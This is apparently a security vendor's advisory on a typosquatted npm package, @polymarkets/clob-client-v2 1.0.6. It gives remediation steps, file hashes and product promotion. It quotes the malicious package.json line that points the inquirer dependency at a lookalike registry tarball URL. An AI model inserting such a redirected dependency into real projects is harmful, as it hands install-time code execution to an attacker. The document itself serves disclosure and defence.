NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
Malicious package

@polymarkets/clob-client-v2npm

Advisory published Updated

@polymarkets/clob-client-v2 is a confirmed malicious npm package (MAL-2026-14050) that typosquats a legitimate package to trick installs (malicious version 1.0.6). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @polymarkets/clob-client-v2 (npm)

MAL-2026-14050
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall @polymarkets/clob-client-v2

What this malware does

package.json for @polymarkets/clob-client-v2 declares its inquirer dependency as an HTTPS tarball URL on registrynpmjs.to, a lookalike of the real npm registry (registry.npmjs.org): "inquirer": "https://registrynpmjs.to/inquirer-14.0.2.tgz". On npm install, npm fetches and installs whatever tarball that host serves as inquirer into node_modules, so the operator of registrynpmjs.to controls the code that runs via inquirer's install lifecycle and on first require. The package is also published under the scope @polymarkets, a one-character variation of the legitimate Polymarket scope @polymarket, consistent with a typosquat lure whose delivery vector is the redirected dependency.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged
1.0.6

Indicators of compromise (SHA-256)

7e06fdabf4b8b56bb40b4656a1a254801f37bef08278111f59814e375be3e7dc
bacd6cd346b980acfd45c84aed3e33a9b245cf7928c00029a61b9abe2ec1cd1f

Detection & response playbook

Typosquat
  1. Find it

    Search your lockfiles and build artifacts for @polymarkets/clob-client-v2 (version 1.0.6).

  2. If you installed it — respond

    @polymarkets/clob-client-v2 is a typosquat — you almost certainly intended a legitimately-named package. Remove @polymarkets/clob-client-v2, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

  3. Did it already run?

    If @polymarkets/clob-client-v2 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @polymarkets/clob-client-v2 on npm has been identified as a malicious package (version 1.0.6 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-017928GHSA-j4hq-4959-hgrr

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks @polymarkets/clob-client-v2-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

@polymarkets/clob-client-v2 (npm) malicious package — MAL-2026-14050 | O3 Security